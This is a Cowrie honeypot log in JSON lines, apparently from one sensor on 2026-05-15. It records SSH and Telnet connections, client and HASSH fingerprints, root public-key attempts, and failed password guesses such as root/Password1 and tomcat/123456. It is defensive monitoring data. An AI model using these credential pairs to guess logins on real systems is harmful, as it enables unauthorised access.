{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:00.489139Z","src_ip":"192.109.200.237","session":"3324fed3830b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":42748,"dst_ip":"10.17.0.5","dst_port":23,"session":"ece0a1a60ae3","protocol":"telnet","message":"New connection: 50.6.8.71:42748 (10.17.0.5:23) [session: ece0a1a60ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:00.496876Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:01.576420Z","src_ip":"192.109.200.237","session":"3324fed3830b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33594,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3bec8309574","protocol":"ssh","message":"New connection: 192.109.200.237:33594 (159.203.135.109:22) [session: a3bec8309574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:03.477264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:03.483471Z","src_ip":"192.109.200.237","session":"a3bec8309574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:03.570291Z","src_ip":"192.109.200.237","session":"a3bec8309574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"123456","message":"login attempt [opc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:03.818979Z","src_ip":"192.109.200.237","session":"a3bec8309574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:04.995963Z","src_ip":"192.109.200.237","session":"a3bec8309574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.102.236","src_port":1398,"dst_ip":"10.17.0.5","dst_port":22,"session":"075b22f7863c","protocol":"ssh","message":"New connection: 172.93.102.236:1398 (10.17.0.5:22) [session: 075b22f7863c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.084492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.089285Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.096398Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:d9:c4:4e:8f:88:d9:52:af:d5:24:14:4d:f1:be:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApccoDIFzd4tpCvKiL2S/RTahGApAYYoQA4jmpr5/HIFiPb5Js8IYLgSM82P1Ym/smYwvt2jdJRka3QCTtLmz1fWAd7S1XP9msWIDU+/H4dRkVtJ6LDmsYRdQi4qyW8OFOcZMyfLtJjxhjbFKOR/Lm9i9LjOwXfsCKw3Y3UYMoxvj2aQ7/quutGSEdAItbZyMDAH/A13RN1xg5OEPXoJrL87r4yMch1R7A2+RoERRGdOTZFjGl6m++UIT0wdg8sks2AG7da9ui5rVF2OLP2CyWWpli0g9haeqP7NRkxfE+4XOy+dFA39KM1QUIyCItTKmXAo0Wgz8/U3Zj00YOXV5Lw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:d9:c4:4e:8f:88:d9:52:af:d5:24:14:4d:f1:be:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.119668Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:d9:c4:4e:8f:88:d9:52:af:d5:24:14:4d:f1:be:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApccoDIFzd4tpCvKiL2S/RTahGApAYYoQA4jmpr5/HIFiPb5Js8IYLgSM82P1Ym/smYwvt2jdJRka3QCTtLmz1fWAd7S1XP9msWIDU+/H4dRkVtJ6LDmsYRdQi4qyW8OFOcZMyfLtJjxhjbFKOR/Lm9i9LjOwXfsCKw3Y3UYMoxvj2aQ7/quutGSEdAItbZyMDAH/A13RN1xg5OEPXoJrL87r4yMch1R7A2+RoERRGdOTZFjGl6m++UIT0wdg8sks2AG7da9ui5rVF2OLP2CyWWpli0g9haeqP7NRkxfE+4XOy+dFA39KM1QUIyCItTKmXAo0Wgz8/U3Zj00YOXV5Lw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.124002Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:f8:f9:e5:7c:1f:3d:96:5f:c8:e0:0f:0e:f5:5d:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDj1ptAl1r/TlzbgBXd6eZ5nVHZ2Bf6AAiNUC8VY5YH07my1cVVfLAii3x3hCxOIATC93oLHbBu0dYnfwJMokIMGsnEAy1Gu7888zIsfitrwXtQ7kOtzUc8ASokWs/YGbMI6xWxmGVaHHDv1wn46Wv1En6RF49VhRmi8BAeaVQiqCn3hFvZznlidzJN/dtObmG53MA92QFs3gvJDTSOf+kAtT9f83eEBwa5EkGj/U+urXPPWzgkz4eberuySuYyt6DM0e4enGABRbw2H9pOFIPKqNKvgZm/IZZezbfNpLBmQlcFQkSP9o4JZl0r9z6yblzr3OFk8jb909fIGucaxlcEW9tyhixzK2Eq89GDe4+yiZOSCbBvDGd7ZLCHtomJ8VU/6NKDb2pY9pC6bkdonP2l6ErAU2Lsn3M4+mpJusqy39FRJP3i0eJ6E2T4aCg3UvjJcBQB+vTskBvkXnCtUoQeBRbiISw7kJ001zI9dNVnoFMn9J+hthK7ih9tmwKku+E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:f8:f9:e5:7c:1f:3d:96:5f:c8:e0:0f:0e:f5:5d:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.137351Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:f8:f9:e5:7c:1f:3d:96:5f:c8:e0:0f:0e:f5:5d:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDj1ptAl1r/TlzbgBXd6eZ5nVHZ2Bf6AAiNUC8VY5YH07my1cVVfLAii3x3hCxOIATC93oLHbBu0dYnfwJMokIMGsnEAy1Gu7888zIsfitrwXtQ7kOtzUc8ASokWs/YGbMI6xWxmGVaHHDv1wn46Wv1En6RF49VhRmi8BAeaVQiqCn3hFvZznlidzJN/dtObmG53MA92QFs3gvJDTSOf+kAtT9f83eEBwa5EkGj/U+urXPPWzgkz4eberuySuYyt6DM0e4enGABRbw2H9pOFIPKqNKvgZm/IZZezbfNpLBmQlcFQkSP9o4JZl0r9z6yblzr3OFk8jb909fIGucaxlcEW9tyhixzK2Eq89GDe4+yiZOSCbBvDGd7ZLCHtomJ8VU/6NKDb2pY9pC6bkdonP2l6ErAU2Lsn3M4+mpJusqy39FRJP3i0eJ6E2T4aCg3UvjJcBQB+vTskBvkXnCtUoQeBRbiISw7kJ001zI9dNVnoFMn9J+hthK7ih9tmwKku+E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.141675Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:2d:1c:11:a9:5a:01:bf:47:70:d9:d8:37:04:61:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlL4UYFWztgaSNhMaRyKqwDBz123DOowZRZvz+WZsazCvNy4afdq2f0JXlLuwkxiuh1JGvoH30IT6gj+bszW77NJPBin6z7BLoLi66VU1IDnWh/CdZlqXR1A3tDwCeW8NfLmfbrTc72Gq7d7LF9sQB2lL3kqy/t0Zab/DWO925lvibnHkHBThoehSMGWbc3mNwJfhnb8acSH7Ai5oLKzRoT6OjGhkiIKWZvHp/kYnfWswCjBs3Qc1qLXaFgjbK2107BIvStYC0aELuREa6FY9YukS90ANgj3kITRUlEWXkurDsONGPhQo2nC+0ZRYC7jfYtRFGCF1opesFjbnRSZR4V5EVo/RU9oRxrVtwiq8TL8Y3NSdV+GZxh5+IRdOiIgBT/eTR2/3Y7o7+seKPywHS3Y1AkhQs9fitcaGaV6O+FGyeLvvpI9UW1v65m0quCwB90hc0CP/sdQLYgd4QcZ7dm7Y4yU7erVE+t3fXo2kNSY8SblvVWW1+nWQeLeBtk/71Y5yTyAudNM01rl1HkltMFmmxxo8/UBDTrNz15esXXx+34M05UUva1sN+/NWIpSzqjbjkRNSDxRYobl1nskPdB2O2O2YxMFDJdi+X3Nklt4CS9xHGyIfy1tb0gGIRdw7MULoR/w1aVUEQrDRlmZUjDh9PawNz3Dl1IoSA+QaF4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:2d:1c:11:a9:5a:01:bf:47:70:d9:d8:37:04:61:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.153652Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:2d:1c:11:a9:5a:01:bf:47:70:d9:d8:37:04:61:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDlL4UYFWztgaSNhMaRyKqwDBz123DOowZRZvz+WZsazCvNy4afdq2f0JXlLuwkxiuh1JGvoH30IT6gj+bszW77NJPBin6z7BLoLi66VU1IDnWh/CdZlqXR1A3tDwCeW8NfLmfbrTc72Gq7d7LF9sQB2lL3kqy/t0Zab/DWO925lvibnHkHBThoehSMGWbc3mNwJfhnb8acSH7Ai5oLKzRoT6OjGhkiIKWZvHp/kYnfWswCjBs3Qc1qLXaFgjbK2107BIvStYC0aELuREa6FY9YukS90ANgj3kITRUlEWXkurDsONGPhQo2nC+0ZRYC7jfYtRFGCF1opesFjbnRSZR4V5EVo/RU9oRxrVtwiq8TL8Y3NSdV+GZxh5+IRdOiIgBT/eTR2/3Y7o7+seKPywHS3Y1AkhQs9fitcaGaV6O+FGyeLvvpI9UW1v65m0quCwB90hc0CP/sdQLYgd4QcZ7dm7Y4yU7erVE+t3fXo2kNSY8SblvVWW1+nWQeLeBtk/71Y5yTyAudNM01rl1HkltMFmmxxo8/UBDTrNz15esXXx+34M05UUva1sN+/NWIpSzqjbjkRNSDxRYobl1nskPdB2O2O2YxMFDJdi+X3Nklt4CS9xHGyIfy1tb0gGIRdw7MULoR/w1aVUEQrDRlmZUjDh9PawNz3Dl1IoSA+QaF4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.157074Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:31:31:8d:1d:f1:fd:cb:a6:61:e4:58:c4:9d:ca:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqXNS03z8AJsA5pHah6g8Hd6PT/LwuUft6xP8oO8jVbwe6v0G2IgL8t0I6AJMooDD4JyHnf80OyJBQfXv1+qevjJaAn+AiSVZy9Xdx99GqsW5J2j6B4YtJhGCF/A5Guidlf8IURX8k4+y78bESIFPUTuNxGdiloNfUt6daPlI54o04QhZcWYOjGKICr+JslaFUmFxxYx4V/xXcb6hycceT8rDzWBJYSeY9q+MVj3bFvDTT8QvVamXEm6Fwf3CJDcxk0sQJw5AQw0rmJ86PeVWPT2aiF2jWNHGjWnM0HkKYmPLkFQ7+bh7eW1FmFViX0A/+szCBnLC3E63T2PVDFYNOVuEDe1ZNVQxdb61MbMEzobh7BWxHpmQvrFGwqKuYysc1u1EmqSvnyT8hMLOAktDTeGMqAK5bwvU56arUlGN7c0IVOkKNTSfu5ocX0nLP/l/WNGDtxA+ZQEcn0fkld+xruhM8leQKfDsAsTuS7YkO562MbDsrAOhFgIz9IdKo7Kp1J+jn5pYQxO3K6dWL5pkdOMiSwIz7yoxGUs/a+k7GLz8GadGyTUDOPRoi4zDNkuRjTDwexXPWX8R6q4blFlh6jkOnoe16QMrVslSmi+kQ28n2BwoiwNzpLU1AEfntiTBCy6CJfu/rV6z2e5+FIIJb/aRrjOPWLDPyKugS/3x2dQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:31:31:8d:1d:f1:fd:cb:a6:61:e4:58:c4:9d:ca:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.167765Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:31:31:8d:1d:f1:fd:cb:a6:61:e4:58:c4:9d:ca:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqXNS03z8AJsA5pHah6g8Hd6PT/LwuUft6xP8oO8jVbwe6v0G2IgL8t0I6AJMooDD4JyHnf80OyJBQfXv1+qevjJaAn+AiSVZy9Xdx99GqsW5J2j6B4YtJhGCF/A5Guidlf8IURX8k4+y78bESIFPUTuNxGdiloNfUt6daPlI54o04QhZcWYOjGKICr+JslaFUmFxxYx4V/xXcb6hycceT8rDzWBJYSeY9q+MVj3bFvDTT8QvVamXEm6Fwf3CJDcxk0sQJw5AQw0rmJ86PeVWPT2aiF2jWNHGjWnM0HkKYmPLkFQ7+bh7eW1FmFViX0A/+szCBnLC3E63T2PVDFYNOVuEDe1ZNVQxdb61MbMEzobh7BWxHpmQvrFGwqKuYysc1u1EmqSvnyT8hMLOAktDTeGMqAK5bwvU56arUlGN7c0IVOkKNTSfu5ocX0nLP/l/WNGDtxA+ZQEcn0fkld+xruhM8leQKfDsAsTuS7YkO562MbDsrAOhFgIz9IdKo7Kp1J+jn5pYQxO3K6dWL5pkdOMiSwIz7yoxGUs/a+k7GLz8GadGyTUDOPRoi4zDNkuRjTDwexXPWX8R6q4blFlh6jkOnoe16QMrVslSmi+kQ28n2BwoiwNzpLU1AEfntiTBCy6CJfu/rV6z2e5+FIIJb/aRrjOPWLDPyKugS/3x2dQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.171471Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"36:75:49:40:5b:d5:18:c7:4c:92:43:79:9d:87:c3:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI7XGlTBxHNzUJASy2i3cPTpr3XkY/ER0/A0fdSwkrEad//DImH/K3NntI/vcLQq754M3m+lOdir5mU/RZPlFcRXpYfsVKagYrep0bWHMmMT4Zgcy5jArOlS2WoIUA9Va5xf4sOU80VDWccrpYDtvmHbh++O2Ah7EFlZCRXmkKndyiMmE/s2UXPQiW0RzaACA6KoIkBvHN0vmFQbaxr3n4pdyT+M0riomIdInOOyElSNA+DKiHSSUmPv+ruGExfyKV9UYDUteQvToZPjmk+4ogeKEZ9LKJH0rm4s4IZAz/TBC1++Zl7WTGcxr02fMS2W/7qtMYZURG6QbyQIh2PA2ufDt5xuHXULbvZI58B91sDZ6xm+D8kFf1CioAZkXn1Hsaf0NyEeTjX0KX8mkvfP3WSxgJICTq7n625zy95RNvOqCcXM/PYpyX+VyFsFYBBe+en8EWbsN3fY6Bj73s45mgm2xJ+AzTwNRbu9x/51BZ+T0MDoGKxywjsKxhX9hRkvW4XbewZfwlZdf0ZlKUSIaDsFJ/jZOnXXG5bGk2N+r4vrq2SnBuhLQuZP66WgIdwstAMGzV69CV2lpxa677L1xnwBbj37JITnRInDlfmwyea7UHt/edHggydtess1lzrRYRxAOa+tnlz2Q3rOJbZ8o+SstRcUZ0qXmEKjI1B6w3hw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 36:75:49:40:5b:d5:18:c7:4c:92:43:79:9d:87:c3:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.180551Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"36:75:49:40:5b:d5:18:c7:4c:92:43:79:9d:87:c3:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI7XGlTBxHNzUJASy2i3cPTpr3XkY/ER0/A0fdSwkrEad//DImH/K3NntI/vcLQq754M3m+lOdir5mU/RZPlFcRXpYfsVKagYrep0bWHMmMT4Zgcy5jArOlS2WoIUA9Va5xf4sOU80VDWccrpYDtvmHbh++O2Ah7EFlZCRXmkKndyiMmE/s2UXPQiW0RzaACA6KoIkBvHN0vmFQbaxr3n4pdyT+M0riomIdInOOyElSNA+DKiHSSUmPv+ruGExfyKV9UYDUteQvToZPjmk+4ogeKEZ9LKJH0rm4s4IZAz/TBC1++Zl7WTGcxr02fMS2W/7qtMYZURG6QbyQIh2PA2ufDt5xuHXULbvZI58B91sDZ6xm+D8kFf1CioAZkXn1Hsaf0NyEeTjX0KX8mkvfP3WSxgJICTq7n625zy95RNvOqCcXM/PYpyX+VyFsFYBBe+en8EWbsN3fY6Bj73s45mgm2xJ+AzTwNRbu9x/51BZ+T0MDoGKxywjsKxhX9hRkvW4XbewZfwlZdf0ZlKUSIaDsFJ/jZOnXXG5bGk2N+r4vrq2SnBuhLQuZP66WgIdwstAMGzV69CV2lpxa677L1xnwBbj37JITnRInDlfmwyea7UHt/edHggydtess1lzrRYRxAOa+tnlz2Q3rOJbZ8o+SstRcUZ0qXmEKjI1B6w3hw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.186017Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.197360Z","src_ip":"172.93.102.236","session":"075b22f7863c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":33602,"dst_ip":"159.203.135.109","dst_port":22,"session":"17639d529899","protocol":"ssh","message":"New connection: 192.109.200.237:33602 (159.203.135.109:22) [session: 17639d529899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.768001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.772966Z","src_ip":"192.109.200.237","session":"17639d529899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:06.857289Z","src_ip":"192.109.200.237","session":"17639d529899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:07.224326Z","src_ip":"192.109.200.237","session":"17639d529899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.94451880455017,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:08.167395Z","src_ip":"50.6.8.71","session":"a3a48c16d98e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:08.310972Z","src_ip":"192.109.200.237","session":"17639d529899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.769330978393555,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:10.162057Z","src_ip":"50.6.8.71","session":"fad8e5a813e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50828,"dst_ip":"159.203.135.109","dst_port":22,"session":"68b101352511","protocol":"ssh","message":"New connection: 192.109.200.237:50828 (159.203.135.109:22) [session: 68b101352511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:10.178081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:23:10.183866Z","src_ip":"192.109.200.237","session":"68b101352511","protocol":"ssh"}
